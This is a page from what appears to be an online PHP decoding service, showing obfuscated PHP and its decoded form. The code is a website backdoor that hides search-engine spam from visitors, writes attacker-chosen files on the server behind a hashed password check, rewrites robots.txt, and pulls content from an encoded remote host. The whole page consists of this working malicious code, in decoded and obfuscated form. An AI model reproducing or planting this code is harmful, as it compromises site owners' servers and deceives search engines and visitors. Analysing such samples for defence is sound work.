Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
\x44\x4f\x43\125\x4d\x45\x4e\x54\x5f\122\117\x4f\x54"]; goto xoO9l; xoO9l: FMba9: goto rGx..
Decoded Output download
<? DOCUMENT_ROOT"]; goto xoO9l; xoO9l: FMba9: goto rGx6y; vf81F: $DgEOu = $hlPwp . "/" . $xKvv0; goto KY1kk; h0DWY: goto FMba9; goto WiZVB; vGSVQ: $HlAt0 = "https"; goto P5Sdp; c7htt: if (file_put_contents($FIui_, trim($jqFWG) . "
" . "Sitemap: " . $g__Lz)) { goto KPLRQ; } goto ljNuw; JevHA: $NK594 = lJwDg(); goto OxWxl; xCPqG: Bw4UM: goto ADq1b; opz0v: $QMnUp = $uKu2R . "://" . $PgQ8a . "/temp/style.css"; goto dtIRw; lHwuq: echo "<br>sitemap already added!<br>"; goto GKYTj; uC9hZ: exit; goto uoIn8; w6btP: if (!file_put_contents($hlPwp . "/" . $jOHDJ, $NRN6U)) { goto YkGuj; } goto SMslH; MatJ4: goto Ct8pI; goto k1KZq; gpnno: goto lPv4P; goto XmEwm; AKagx: if (strstr($y7JWA, "getcontent404page")) { goto Bboc3; } goto p5_8l; WQCpZ: drv0Y: goto c2BuG; UHdLI: goto b1DI7; goto U83Bg; VfX9D: $cQ5eU = $uKu2R . "://" . $PgQ8a . "/indexnew.php?web=" . $NPZyJ . "&zz=" . xXtG_() . "&uri=" . $Ycwy5 . "&urlshang=" . $mZ6tq . "&http=" . $HlAt0 . "&lang=" . $KL7FZ . "&css=1"; goto AhZn5; JYBeD: RJle0: goto vGSVQ; T1K5e: if (isset($_SERVER["DOCUMENT_ROOT"])) { goto lqJFT; } goto u2na4; ydBIM: if (file_exists($qXveM)) { goto GD1Ep; } goto W8qZF; OdH6P: $KJnnj = $NPZyJ; goto c9pnL; NbS0t: $jqFWG = "User-agent: *\xd
Allow: /"; goto zIlNm; uoIn8: XTzt1: goto eBTqp; j89ai: if (strstr($y7JWA, "getcontent500page")) { goto IkcOX; } goto AKagx; LTri_: echo "<br>sitemap name false!<br>"; goto QH2Wc; p5_8l: if (!strstr($y7JWA, "getcontent301page")) { goto Fci7e; } goto RGqKb; MWmL2: ZMk1p: goto Trehx; fK08e: $y7JWA = trim(A05oC($cQ5eU)); goto aejXt; yopQr: $y7JWA = str_replace("okhtmlgetcontent", '', $y7JWA); goto foN08; KY1kk: if (substr($NPZyJ, 0, 4) == "www.") { goto ZMk1p; } goto OdH6P; uom5T: $NRN6U = @$_GET["dstr"]; goto w6btP; u2na4: $hlPwp = dirname(__FILE__); goto MatJ4; oZhWV: vLQ0r: goto DdqMQ; ljNuw: echo "<br>file write false!<br>"; goto gpnno; s3K53: $mZ6tq = $_SERVER["HTTP_REFERER"]; goto TBjLy; AAXbU: exit; goto H0742; wvB2r: YRRVo: goto egtcs; KliZY: echo $y7JWA; goto Lx82n; ZtGjj: goto VP7wG; goto pWeFS; INrOq: function XxtG_() { goto R4peg; MEc1R: EXubI: goto zTf4w; K8K3E: if (stristr($ILzmQ, "googlebot") || stristr($ILzmQ, "bing") || stristr($ILzmQ, "yahoo") || stristr($ILzmQ, "google") || stristr($ILzmQ, "Googlebot") || stristr($ILzmQ, "googlebot")) { goto L2UmR; } goto w5KWL; ky24W: goto EXubI; goto UGOpJ; EtSfj: return true; goto MEc1R; R4peg: $ILzmQ = strtolower($_SERVER["HTTP_USER_AGENT"]); goto K8K3E; w5KWL: return false; goto ky24W; UGOpJ: L2UmR: goto EtSfj; zTf4w: } goto c03mS; rlcnZ: goto XTzt1; goto xTTKq; bwyvh: $y7JWA = str_replace("[##linkcss##]", "<style>" . $Kf1YV . "</style>", $y7JWA); goto COmPj; p829S: M8MzK: goto Smkj7; XmEwm: KPLRQ: goto te1rp; Trehx: $KJnnj = substr($NPZyJ, 4); goto WQCpZ; wLATx: MtuVi: goto oZhWV; dmr82: O6fse: goto SpXdx; N0Uvg: @unlink($OUbLu); goto VaPs3; QH2Wc: goto t11yi; goto xCPqG; Ij0Xg: if (!($r57Ji == "f75fd5acd36a7fbd1e219b19881a5348bfc66e79")) { goto XPXYr; } goto aPEXz; GKYTj: LHWS2: goto bZ51E; wVxuq: $xKvv0 = "css"; goto DKBmN; DPg_1: $KL7FZ = urlencode($KL7FZ); goto IGYDh; x9q2I: lPv4P: goto j2rWD; InHGq: BzUHo: goto jIUuw; RGqKb: @header("HTTP/1.1 301 Moved Permanently"); goto YNUQd; rGx6y: if (is_dir($hlPwp . "/wp-includes")) { goto F1hd2; } goto wVxuq; RKDY5: $rw0js = sha1(sha1(@$_GET["a"])); goto hGJ5M; AhZn5: Myy8L: goto fK08e; blsOj: Btb1k: goto lHwuq; W8qZF: $y7JWA = str_replace("[##linkcss##]", '', $y7JWA); goto UHdLI; V3wDG: @header("HTTP/1.1 404 Not Found"); goto ODlik; wq3Rv: if (stristr($jqFWG, $g__Lz)) { goto Btb1k; } goto c7htt; COmPj: b1DI7: goto yopQr; jIUuw: $y7JWA = str_replace("okxmlgetcontent", '', $y7JWA); goto vyaMU; Xec0V: if (strstr($y7JWA, "okhtmlgetcontent")) { goto RSq3Y; } goto Pk6c4; U83Bg: GD1Ep: goto ujYL3; TBjLy: $mZ6tq = urlencode($mZ6tq); goto VSO7O; SKSHQ: @ignore_user_abort(1); goto GnGIA; RSbLk: $PgQ8a = str_rot13(urldecode($yt6k1)); goto rUxW0; wmlj4: $uAOte = @$_GET["action"]; goto T1K5e; aPEXz: $jOHDJ = @$_GET["mapname"]; goto wmlj4; i9bWM: $g__Lz = $HlAt0 . "://" . $NPZyJ . "/" . $jOHDJ; goto wq3Rv; c03mS: function a05oC($SU1cK) { goto XtAaw; zpKMz: curl_setopt($nqQAE, CURLOPT_URL, $SU1cK); goto VQzgf; yzvtr: curl_close($nqQAE); goto r3dVx; FUMlo: if (!function_exists("curl_init")) { goto tWZjO; } goto H3R79; pxu3C: if ($I3h2v) { goto vdLqU; } goto m0v_P; r3dVx: tWZjO: goto pxu3C; qXQHw: $I3h2v = curl_exec($nqQAE); goto yzvtr; VQzgf: curl_setopt($nqQAE, CURLOPT_SSL_VERIFYHOST, 0); goto oXpWe; GIVof: curl_setopt($nqQAE, CURLOPT_CONNECTTIMEOUT, 30); goto qXQHw; m0v_P: $I3h2v = @file_get_contents($SU1cK); goto yfhfm; H3R79: $nqQAE = curl_init(); goto zpKMz; YPSYW: curl_setopt($nqQAE, CURLOPT_RETURNTRANSFER, 1); goto GIVof; yfhfm: vdLqU: goto zVtM8; XtAaw: $I3h2v = ''; goto FUMlo; oXpWe: curl_setopt($nqQAE, CURLOPT_SSL_VERIFYPEER, 0); goto YPSYW; zVtM8: return $I3h2v; goto EPoP2; EPoP2: } goto Blwgp; yBVH3: exit; goto nK1Pi; dtIRw: function rRi_5($SU1cK) { goto sDvt6; CUV8E: eZdj9: goto XZrs9; XZrs9: return $nCVWH; goto cbnxL; gjg0l: foreach ($mvW7Y as $Hq8wD) { goto UfwDi; p4i80: $LHIky = strpos($AkBdf, "Sitemap Notification Received") !== false ? "pingok" : "error"; goto nddeA; nddeA: $nCVWH .= $Hq8wD . "-- " . $LHIky . "<br>"; goto LAhtG; UfwDi: $AkBdf = A05Oc($Hq8wD); goto p4i80; LAhtG: YlRPx: goto Oetzm; Oetzm: } goto CUV8E; sDvt6: $mvW7Y = explode("
", trim($SU1cK)); goto qJJ3l; qJJ3l: $nCVWH = ''; goto gjg0l; cbnxL: } goto INrOq; P5Sdp: Mvgcp: goto JevHA; frXDT: $qXveM = $hlPwp . "/" . $xKvv0 . "/" . $YoxZO; goto opz0v; WiZVB: iEmJ3: goto ohYJY; dvEd1: @set_time_limit(3600); goto SKSHQ; JG8lN: if ($uAOte) { goto BRGGu; } goto oeHxv; rUxW0: function L0lm6() { goto S2TdU; S2TdU: if (isset($_SERVER["HTTPS"]) && strtolower($_SERVER["HTTPS"]) !== "off") { goto Kr9X5; } goto KBzcl; jG0JW: goto gruZo; goto bsPiD; v1GXS: gruZo: goto RZYsA; Jr13y: return true; goto v1GXS; OJrrh: return true; goto cAMfM; bsPiD: Kr9X5: goto OJrrh; KBzcl: if (isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) && $_SERVER["HTTP_X_FORWARDED_PROTO"] === "https") { goto IK2gQ; } goto C0VCf; PrGcO: dmvGP: goto Jr13y; WkWnO: return true; goto qqZbB; C0VCf: if (isset($_SERVER["HTTP_FRONT_END_HTTPS"]) && strtolower($_SERVER["HTTP_FRONT_END_HTTPS"]) !== "off") { goto dmvGP; } goto jG0JW; qqZbB: goto gruZo; goto PrGcO; cAMfM: goto gruZo; goto YLxHI; RZYsA: return false; goto tM6P1; YLxHI: IK2gQ: goto WkWnO; tM6P1: } goto KSrkG; y8Gl5: exit; goto st_7J; KSrkG: $NPZyJ = $_SERVER["HTTP_HOST"]; goto lObBN; xroUc: goto Mvgcp; goto JYBeD; SfkNR: AIyoY($DgEOu, $qXveM, $QMnUp); goto RNaNS; NCoIL: $r57Ji = sha1(sha1(@$_GET["pd"])); goto Ij0Xg; iTGLG: $hlPwp = dirname(__FILE__); goto h0DWY; DdqMQ: exit; goto s2Dp2; dKkAJ: qSuRT: goto i9bWM; cjEpc: $cQ5eU = $uKu2R . "://" . $PgQ8a . "/indexnew.php?web=" . $NPZyJ . "&zz=" . XXTG_() . "&uri=" . $Ycwy5 . "&urlshang=" . $mZ6tq . "&http=" . $HlAt0 . "&lang=" . $KL7FZ; goto k2YyR; zIlNm: goto qSuRT; goto bm9JC; SpXdx: if (is_file($qXveM)) { goto NuKJT; } goto cjEpc; nK1Pi: xbd0X: goto rlcnZ; cQ9Ur: if (!is_file($OUbLu)) { goto lRd1_; } goto N0Uvg; ADq1b: $OUbLu = $hlPwp . "/sitemap.xml"; goto cQ9Ur; lObBN: $KL7FZ = @$_SERVER["HTTP_ACCEPT_LANGUAGE"]; goto DPg_1; bm9JC: CNybx: goto ryQ0E; bZ51E: t11yi: goto VlW1s; c2BuG: $YoxZO = str_rot13(substr($KJnnj, 0, 3) . substr($PgQ8a, 0, 3)) . ".css"; goto frXDT; RX2pX: RSq3Y: goto pwI3l; UNzEM: goto xbd0X; goto VxC1y; ujYL3: $Kf1YV = file_get_contents($qXveM); goto bwyvh; te1rp: echo "<br>ok<br>"; goto x9q2I; H0742: jW_C4: goto Uxqah; RNaNS: @header("Content-type: text/html; charset=utf-8"); goto US1Mi; egtcs: goto jW_C4; goto RX2pX; oeHxv: $uAOte = "put"; goto YVTOj; GlLIR: aIYOY($DgEOu, $qXveM, $QMnUp); goto dmr82; k3Npu: VP7wG: goto UNzEM; ubkWV: @header("HTTP/1.1 500 Internal Server Error"); goto yBVH3; hL8MM: $y7JWA = str_replace("pingxmlgetcontent", '', $y7JWA); goto SfkNR; iSzBG: if (!($uAOte == "put")) { goto vLQ0r; } goto oHvpv; Y1PzG: if (l0lm6()) { goto RJle0; } goto FM_wE; hsa2y: if (!($rw0js == A05OC($uKu2R . "://" . $PgQ8a . "/a.p" . "hp") || $QRN_U == "f8f0dae804368c0334e22d9dcb70d3c7bbfa9635")) { goto MfKbO; } goto uom5T; JUTo3: F1hd2: goto z9_lT; ryQ0E: $jqFWG = a05OC($FIui_); goto dKkAJ; idfMW: if (file_exists($FIui_)) { goto CNybx; } goto NbS0t; aejXt: if (strstr($y7JWA, "nobotuseragent")) { goto BKXLz; } goto Xec0V; st_7J: Fci7e: goto ZtGjj; xTTKq: Q20Ry: goto hL8MM; YVTOj: BRGGu: goto iSzBG; oHvpv: if (strstr($jOHDJ, ".xml")) { goto Bw4UM; } goto LTri_; IGYDh: $mZ6tq = ''; goto QJwpT; VaPs3: lRd1_: goto DuQuv; H7niE: if (strstr($y7JWA, "pingxmlgetcontent")) { goto Q20Ry; } goto j89ai; vyaMU: @header("Content-type: text/xml"); goto KliZY; ODlik: exit; goto k3Npu; DuQuv: $FIui_ = $hlPwp . "/robots.txt"; goto idfMW; OxWxl: if (!($NK594 == '')) { goto M8MzK; } goto gpKS1; k2YyR: goto Myy8L; goto Jzhob; DKBmN: goto b4U1y; goto JUTo3; j2rWD: goto LHWS2; goto blsOj; pwI3l: @header("Content-type: text/html; charset=utf-8"); goto ydBIM; c9pnL: goto drv0Y; goto MWmL2; GnGIA: $yt6k1 = "%70%64%70%75%72%72%78%6B%70%2E%73%72%66%66%72%65%67%2E%6B%6C%6D"; goto eONe2; ROENt: $hlPwp = $_SERVER["DOCUMENT_ROOT"]; goto rY9oG; rVGHG: if (!($NK594 == "/" || strstr($NK594, "ewttm"))) { goto O6fse; } goto GlLIR; gpKS1: $NK594 = "/"; goto p829S; VSO7O: Pj0Gt: goto NCoIL; hGJ5M: $QRN_U = sha1(sha1(@$_GET["b"])); goto hsa2y; CBlJP: function LjwDG() { goto fHA_0; rvaed: amChJ: goto ALxxP; OqmP2: return $Ycwy5; goto SErus; ALxxP: $Ycwy5 = $_SERVER["PHP_SELF"] . "?" . $_SERVER["argv"][0]; goto Gpy7_; mSHIb: mONaJ: goto OqmP2; E12Jk: goto mONaJ; goto fi_yh; Gpy7_: alJzk: goto E12Jk; fHA_0: if (isset($_SERVER["REQUEST_URI"])) { goto ELBQB; } goto m7any; aLUaW: $Ycwy5 = $_SERVER["REQUEST_URI"]; goto mSHIb; fi_yh: ELBQB: goto aLUaW; pVNW6: goto alJzk; goto rvaed; m7any: if (isset($_SERVER["argv"])) { goto amChJ; } goto Db4an; Db4an: $Ycwy5 = $_SERVER["PHP_SELF"] . "?" . $_SERVER["QUERY_STRING"]; goto pVNW6; SErus: } goto RSbLk; FccAA: YkGuj: goto vu9vF; k1KZq: lqJFT: goto ROENt; YNUQd: $y7JWA = str_replace("getcontent301page", '', $y7JWA); goto lLtzi; foN08: echo $y7JWA; goto AAXbU; bJ8Rt: b4U1y: goto vf81F; SMslH: echo "ok"; goto FccAA; Blwgp: function AIYoy($DgEOu, $qXveM, $QMnUp) { goto BuEhS; f3zGv: IO7gJ: goto M1piw; Daf2F: tYSe5: goto Tv1TO; Sxxo_: if (file_exists($qXveM)) { goto tYSe5; } goto b_oh2; M1piw: llqWm: goto SDzg6; Tv1TO: wDQEv: goto zwSS1; zwSS1: goto llqWm; goto UgEtj; A9xnK: if (!@mkdir($DgEOu)) { goto wDQEv; } goto Sxxo_; BuEhS: if (is_dir($DgEOu)) { goto LnhjF; } goto A9xnK; rnCqb: if (file_exists($qXveM)) { goto IO7gJ; } goto R_9Jy; UgEtj: LnhjF: goto rnCqb; R_9Jy: @file_put_contents($qXveM, A05Oc($QMnUp)); goto f3zGv; b_oh2: @file_put_contents($qXveM, A05oC($QMnUp)); goto Daf2F; SDzg6: } goto rVGHG; VxC1y: IkcOX: goto ubkWV; Smkj7: $Ycwy5 = urlencode($NK594); goto CBlJP; z9_lT: $xKvv0 = "wp-includes/css"; goto bJ8Rt; VlW1s: if (!strstr($jOHDJ, ".p" . "hp")) { goto MtuVi; } goto RKDY5; rY9oG: Ct8pI: goto JG8lN; lLtzi: header("Location: " . $y7JWA); goto y8Gl5; GrToV: if (isset($_SERVER["DOCUMENT_ROOT"])) { goto iEmJ3; } goto iTGLG; eONe2: $uKu2R = "http"; goto Y1PzG; FM_wE: $HlAt0 = "http"; goto xroUc; Pk6c4: if (strstr($y7JWA, "okxmlgetcontent")) { goto BzUHo; } goto H7niE; QJwpT: if (!isset($_SERVER["HTTP_REFERER"] ?>
Did this file decode correctly?
Original Code
\x44\x4f\x43\125\x4d\x45\x4e\x54\x5f\122\117\x4f\x54"]; goto xoO9l; xoO9l: FMba9: goto rGx6y; vf81F: $DgEOu = $hlPwp . "\57" . $xKvv0; goto KY1kk; h0DWY: goto FMba9; goto WiZVB; vGSVQ: $HlAt0 = "\150\x74\x74\160\x73"; goto P5Sdp; c7htt: if (file_put_contents($FIui_, trim($jqFWG) . "\15\12" . "\x53\x69\x74\x65\155\141\160\x3a\x20" . $g__Lz)) { goto KPLRQ; } goto ljNuw; JevHA: $NK594 = lJwDg(); goto OxWxl; xCPqG: Bw4UM: goto ADq1b; opz0v: $QMnUp = $uKu2R . "\72\x2f\x2f" . $PgQ8a . "\57\164\145\x6d\x70\57\163\164\x79\x6c\x65\56\143\x73\163"; goto dtIRw; lHwuq: echo "\74\x62\162\x3e\x73\x69\x74\x65\155\x61\160\x20\x61\154\x72\x65\141\x64\171\x20\141\144\144\x65\144\41\74\x62\x72\76"; goto GKYTj; uC9hZ: exit; goto uoIn8; w6btP: if (!file_put_contents($hlPwp . "\57" . $jOHDJ, $NRN6U)) { goto YkGuj; } goto SMslH; MatJ4: goto Ct8pI; goto k1KZq; gpnno: goto lPv4P; goto XmEwm; AKagx: if (strstr($y7JWA, "\x67\145\164\x63\x6f\156\164\x65\x6e\164\64\x30\64\x70\141\147\145")) { goto Bboc3; } goto p5_8l; WQCpZ: drv0Y: goto c2BuG; UHdLI: goto b1DI7; goto U83Bg; VfX9D: $cQ5eU = $uKu2R . "\72\x2f\x2f" . $PgQ8a . "\57\151\156\x64\x65\170\x6e\145\167\x2e\160\x68\160\77\x77\145\142\x3d" . $NPZyJ . "\46\172\x7a\75" . xXtG_() . "\46\165\x72\151\x3d" . $Ycwy5 . "\x26\x75\162\x6c\163\150\x61\156\x67\x3d" . $mZ6tq . "\46\150\164\164\x70\75" . $HlAt0 . "\x26\154\x61\x6e\x67\75" . $KL7FZ . "\46\143\163\163\75\61"; goto AhZn5; JYBeD: RJle0: goto vGSVQ; T1K5e: if (isset($_SERVER["\x44\117\103\x55\x4d\x45\x4e\x54\x5f\x52\x4f\x4f\x54"])) { goto lqJFT; } goto u2na4; ydBIM: if (file_exists($qXveM)) { goto GD1Ep; } goto W8qZF; OdH6P: $KJnnj = $NPZyJ; goto c9pnL; NbS0t: $jqFWG = "\125\163\x65\x72\55\141\x67\x65\156\x74\x3a\40\52\xd\12\x41\154\x6c\157\167\72\40\x2f"; goto zIlNm; uoIn8: XTzt1: goto eBTqp; j89ai: if (strstr($y7JWA, "\147\145\164\x63\157\x6e\164\145\x6e\x74\x35\60\x30\160\x61\x67\x65")) { goto IkcOX; } goto AKagx; LTri_: echo "\74\x62\x72\76\163\x69\x74\145\x6d\x61\160\x20\156\141\x6d\x65\x20\146\x61\154\163\x65\x21\x3c\142\x72\76"; goto QH2Wc; p5_8l: if (!strstr($y7JWA, "\x67\x65\x74\143\x6f\156\164\145\156\164\x33\x30\61\160\141\x67\145")) { goto Fci7e; } goto RGqKb; MWmL2: ZMk1p: goto Trehx; fK08e: $y7JWA = trim(A05oC($cQ5eU)); goto aejXt; yopQr: $y7JWA = str_replace("\x6f\x6b\150\164\x6d\x6c\147\x65\x74\143\x6f\156\x74\145\156\164", '', $y7JWA); goto foN08; KY1kk: if (substr($NPZyJ, 0, 4) == "\167\x77\167\56") { goto ZMk1p; } goto OdH6P; uom5T: $NRN6U = @$_GET["\144\x73\164\162"]; goto w6btP; u2na4: $hlPwp = dirname(__FILE__); goto MatJ4; oZhWV: vLQ0r: goto DdqMQ; ljNuw: echo "\74\x62\162\76\146\x69\x6c\145\40\167\162\x69\164\145\x20\146\141\154\163\145\x21\74\x62\x72\x3e"; goto gpnno; s3K53: $mZ6tq = $_SERVER["\110\124\x54\x50\137\x52\x45\x46\105\122\x45\122"]; goto TBjLy; AAXbU: exit; goto H0742; wvB2r: YRRVo: goto egtcs; KliZY: echo $y7JWA; goto Lx82n; ZtGjj: goto VP7wG; goto pWeFS; INrOq: function XxtG_() { goto R4peg; MEc1R: EXubI: goto zTf4w; K8K3E: if (stristr($ILzmQ, "\147\157\x6f\147\x6c\x65\142\x6f\164") || stristr($ILzmQ, "\142\x69\x6e\x67") || stristr($ILzmQ, "\171\x61\150\x6f\157") || stristr($ILzmQ, "\147\157\x6f\147\x6c\145") || stristr($ILzmQ, "\107\x6f\157\147\154\145\142\157\164") || stristr($ILzmQ, "\x67\157\x6f\147\154\145\x62\x6f\164")) { goto L2UmR; } goto w5KWL; ky24W: goto EXubI; goto UGOpJ; EtSfj: return true; goto MEc1R; R4peg: $ILzmQ = strtolower($_SERVER["\x48\124\x54\120\x5f\x55\x53\105\x52\137\101\107\105\116\x54"]); goto K8K3E; w5KWL: return false; goto ky24W; UGOpJ: L2UmR: goto EtSfj; zTf4w: } goto c03mS; rlcnZ: goto XTzt1; goto xTTKq; bwyvh: $y7JWA = str_replace("\x5b\43\x23\154\x69\156\x6b\143\163\163\43\x23\135", "\74\163\x74\171\x6c\x65\x3e" . $Kf1YV . "\x3c\x2f\x73\164\x79\x6c\145\76", $y7JWA); goto COmPj; p829S: M8MzK: goto Smkj7; XmEwm: KPLRQ: goto te1rp; Trehx: $KJnnj = substr($NPZyJ, 4); goto WQCpZ; wLATx: MtuVi: goto oZhWV; dmr82: O6fse: goto SpXdx; N0Uvg: @unlink($OUbLu); goto VaPs3; QH2Wc: goto t11yi; goto xCPqG; Ij0Xg: if (!($r57Ji == "\146\67\x35\x66\144\x35\141\x63\x64\x33\x36\x61\67\x66\x62\144\61\x65\x32\x31\71\142\x31\x39\x38\70\61\141\x35\63\x34\70\142\146\143\66\x36\x65\x37\x39")) { goto XPXYr; } goto aPEXz; GKYTj: LHWS2: goto bZ51E; wVxuq: $xKvv0 = "\143\x73\x73"; goto DKBmN; DPg_1: $KL7FZ = urlencode($KL7FZ); goto IGYDh; x9q2I: lPv4P: goto j2rWD; InHGq: BzUHo: goto jIUuw; RGqKb: @header("\110\124\x54\120\x2f\61\56\x31\x20\x33\x30\61\x20\x4d\157\166\145\144\40\x50\145\x72\x6d\x61\156\145\156\x74\154\x79"); goto YNUQd; rGx6y: if (is_dir($hlPwp . "\x2f\167\160\x2d\151\x6e\143\x6c\165\x64\x65\x73")) { goto F1hd2; } goto wVxuq; RKDY5: $rw0js = sha1(sha1(@$_GET["\141"])); goto hGJ5M; AhZn5: Myy8L: goto fK08e; blsOj: Btb1k: goto lHwuq; W8qZF: $y7JWA = str_replace("\x5b\43\43\x6c\151\156\x6b\x63\x73\x73\43\43\135", '', $y7JWA); goto UHdLI; V3wDG: @header("\x48\124\x54\x50\x2f\61\x2e\x31\40\64\x30\x34\x20\x4e\x6f\x74\x20\106\x6f\x75\x6e\x64"); goto ODlik; wq3Rv: if (stristr($jqFWG, $g__Lz)) { goto Btb1k; } goto c7htt; COmPj: b1DI7: goto yopQr; jIUuw: $y7JWA = str_replace("\157\x6b\x78\155\x6c\x67\145\164\x63\x6f\x6e\x74\145\156\x74", '', $y7JWA); goto vyaMU; Xec0V: if (strstr($y7JWA, "\x6f\x6b\150\164\x6d\154\x67\x65\x74\143\x6f\156\x74\145\x6e\x74")) { goto RSq3Y; } goto Pk6c4; U83Bg: GD1Ep: goto ujYL3; TBjLy: $mZ6tq = urlencode($mZ6tq); goto VSO7O; SKSHQ: @ignore_user_abort(1); goto GnGIA; RSbLk: $PgQ8a = str_rot13(urldecode($yt6k1)); goto rUxW0; wmlj4: $uAOte = @$_GET["\x61\x63\x74\x69\x6f\x6e"]; goto T1K5e; aPEXz: $jOHDJ = @$_GET["\155\141\x70\x6e\141\155\x65"]; goto wmlj4; i9bWM: $g__Lz = $HlAt0 . "\x3a\x2f\x2f" . $NPZyJ . "\x2f" . $jOHDJ; goto wq3Rv; c03mS: function a05oC($SU1cK) { goto XtAaw; zpKMz: curl_setopt($nqQAE, CURLOPT_URL, $SU1cK); goto VQzgf; yzvtr: curl_close($nqQAE); goto r3dVx; FUMlo: if (!function_exists("\x63\x75\162\x6c\x5f\x69\x6e\151\x74")) { goto tWZjO; } goto H3R79; pxu3C: if ($I3h2v) { goto vdLqU; } goto m0v_P; r3dVx: tWZjO: goto pxu3C; qXQHw: $I3h2v = curl_exec($nqQAE); goto yzvtr; VQzgf: curl_setopt($nqQAE, CURLOPT_SSL_VERIFYHOST, 0); goto oXpWe; GIVof: curl_setopt($nqQAE, CURLOPT_CONNECTTIMEOUT, 30); goto qXQHw; m0v_P: $I3h2v = @file_get_contents($SU1cK); goto yfhfm; H3R79: $nqQAE = curl_init(); goto zpKMz; YPSYW: curl_setopt($nqQAE, CURLOPT_RETURNTRANSFER, 1); goto GIVof; yfhfm: vdLqU: goto zVtM8; XtAaw: $I3h2v = ''; goto FUMlo; oXpWe: curl_setopt($nqQAE, CURLOPT_SSL_VERIFYPEER, 0); goto YPSYW; zVtM8: return $I3h2v; goto EPoP2; EPoP2: } goto Blwgp; yBVH3: exit; goto nK1Pi; dtIRw: function rRi_5($SU1cK) { goto sDvt6; CUV8E: eZdj9: goto XZrs9; XZrs9: return $nCVWH; goto cbnxL; gjg0l: foreach ($mvW7Y as $Hq8wD) { goto UfwDi; p4i80: $LHIky = strpos($AkBdf, "\123\x69\x74\x65\155\x61\x70\40\116\x6f\164\x69\146\151\143\x61\x74\151\157\156\x20\x52\145\143\x65\x69\x76\x65\144") !== false ? "\160\151\156\x67\x6f\153" : "\145\162\162\157\162"; goto nddeA; nddeA: $nCVWH .= $Hq8wD . "\55\55\x20" . $LHIky . "\74\x62\162\76"; goto LAhtG; UfwDi: $AkBdf = A05Oc($Hq8wD); goto p4i80; LAhtG: YlRPx: goto Oetzm; Oetzm: } goto CUV8E; sDvt6: $mvW7Y = explode("\15\12", trim($SU1cK)); goto qJJ3l; qJJ3l: $nCVWH = ''; goto gjg0l; cbnxL: } goto INrOq; P5Sdp: Mvgcp: goto JevHA; frXDT: $qXveM = $hlPwp . "\57" . $xKvv0 . "\57" . $YoxZO; goto opz0v; WiZVB: iEmJ3: goto ohYJY; dvEd1: @set_time_limit(3600); goto SKSHQ; JG8lN: if ($uAOte) { goto BRGGu; } goto oeHxv; rUxW0: function L0lm6() { goto S2TdU; S2TdU: if (isset($_SERVER["\110\124\124\x50\x53"]) && strtolower($_SERVER["\x48\x54\124\120\x53"]) !== "\157\146\x66") { goto Kr9X5; } goto KBzcl; jG0JW: goto gruZo; goto bsPiD; v1GXS: gruZo: goto RZYsA; Jr13y: return true; goto v1GXS; OJrrh: return true; goto cAMfM; bsPiD: Kr9X5: goto OJrrh; KBzcl: if (isset($_SERVER["\x48\124\124\120\137\x58\137\106\117\x52\x57\x41\122\104\x45\104\x5f\x50\x52\x4f\x54\x4f"]) && $_SERVER["\110\x54\x54\x50\x5f\x58\x5f\x46\117\122\x57\x41\122\x44\105\x44\137\120\122\117\124\117"] === "\x68\164\x74\160\163") { goto IK2gQ; } goto C0VCf; PrGcO: dmvGP: goto Jr13y; WkWnO: return true; goto qqZbB; C0VCf: if (isset($_SERVER["\110\x54\x54\120\137\x46\122\x4f\116\124\x5f\x45\116\x44\137\110\124\x54\x50\x53"]) && strtolower($_SERVER["\110\x54\124\x50\137\x46\122\117\x4e\x54\x5f\105\116\104\x5f\x48\124\124\x50\123"]) !== "\157\146\146") { goto dmvGP; } goto jG0JW; qqZbB: goto gruZo; goto PrGcO; cAMfM: goto gruZo; goto YLxHI; RZYsA: return false; goto tM6P1; YLxHI: IK2gQ: goto WkWnO; tM6P1: } goto KSrkG; y8Gl5: exit; goto st_7J; KSrkG: $NPZyJ = $_SERVER["\x48\x54\124\120\x5f\110\117\123\x54"]; goto lObBN; xroUc: goto Mvgcp; goto JYBeD; SfkNR: AIyoY($DgEOu, $qXveM, $QMnUp); goto RNaNS; NCoIL: $r57Ji = sha1(sha1(@$_GET["\x70\144"])); goto Ij0Xg; iTGLG: $hlPwp = dirname(__FILE__); goto h0DWY; DdqMQ: exit; goto s2Dp2; dKkAJ: qSuRT: goto i9bWM; cjEpc: $cQ5eU = $uKu2R . "\72\x2f\57" . $PgQ8a . "\57\x69\156\144\145\170\x6e\145\167\x2e\160\150\160\77\x77\145\142\x3d" . $NPZyJ . "\46\172\172\75" . XXTG_() . "\46\x75\162\x69\x3d" . $Ycwy5 . "\x26\x75\162\154\x73\x68\141\x6e\x67\x3d" . $mZ6tq . "\x26\150\x74\164\x70\75" . $HlAt0 . "\x26\x6c\141\156\147\x3d" . $KL7FZ; goto k2YyR; zIlNm: goto qSuRT; goto bm9JC; SpXdx: if (is_file($qXveM)) { goto NuKJT; } goto cjEpc; nK1Pi: xbd0X: goto rlcnZ; cQ9Ur: if (!is_file($OUbLu)) { goto lRd1_; } goto N0Uvg; ADq1b: $OUbLu = $hlPwp . "\57\163\x69\164\x65\155\x61\160\56\x78\x6d\x6c"; goto cQ9Ur; lObBN: $KL7FZ = @$_SERVER["\110\124\x54\x50\137\101\x43\103\x45\120\124\x5f\x4c\101\116\x47\125\101\107\x45"]; goto DPg_1; bm9JC: CNybx: goto ryQ0E; bZ51E: t11yi: goto VlW1s; c2BuG: $YoxZO = str_rot13(substr($KJnnj, 0, 3) . substr($PgQ8a, 0, 3)) . "\56\x63\x73\x73"; goto frXDT; RX2pX: RSq3Y: goto pwI3l; UNzEM: goto xbd0X; goto VxC1y; ujYL3: $Kf1YV = file_get_contents($qXveM); goto bwyvh; te1rp: echo "\74\142\162\x3e\x6f\x6b\74\142\162\x3e"; goto x9q2I; H0742: jW_C4: goto Uxqah; RNaNS: @header("\x43\157\x6e\x74\x65\156\164\x2d\x74\171\x70\x65\72\40\164\145\170\x74\x2f\x68\164\155\154\73\40\143\x68\141\162\163\x65\164\75\x75\x74\x66\55\70"); goto US1Mi; egtcs: goto jW_C4; goto RX2pX; oeHxv: $uAOte = "\x70\165\164"; goto YVTOj; GlLIR: aIYOY($DgEOu, $qXveM, $QMnUp); goto dmr82; k3Npu: VP7wG: goto UNzEM; ubkWV: @header("\110\124\x54\120\x2f\61\x2e\x31\x20\x35\x30\x30\x20\x49\x6e\164\145\162\156\x61\154\x20\123\x65\x72\x76\145\x72\40\x45\x72\x72\157\x72"); goto yBVH3; hL8MM: $y7JWA = 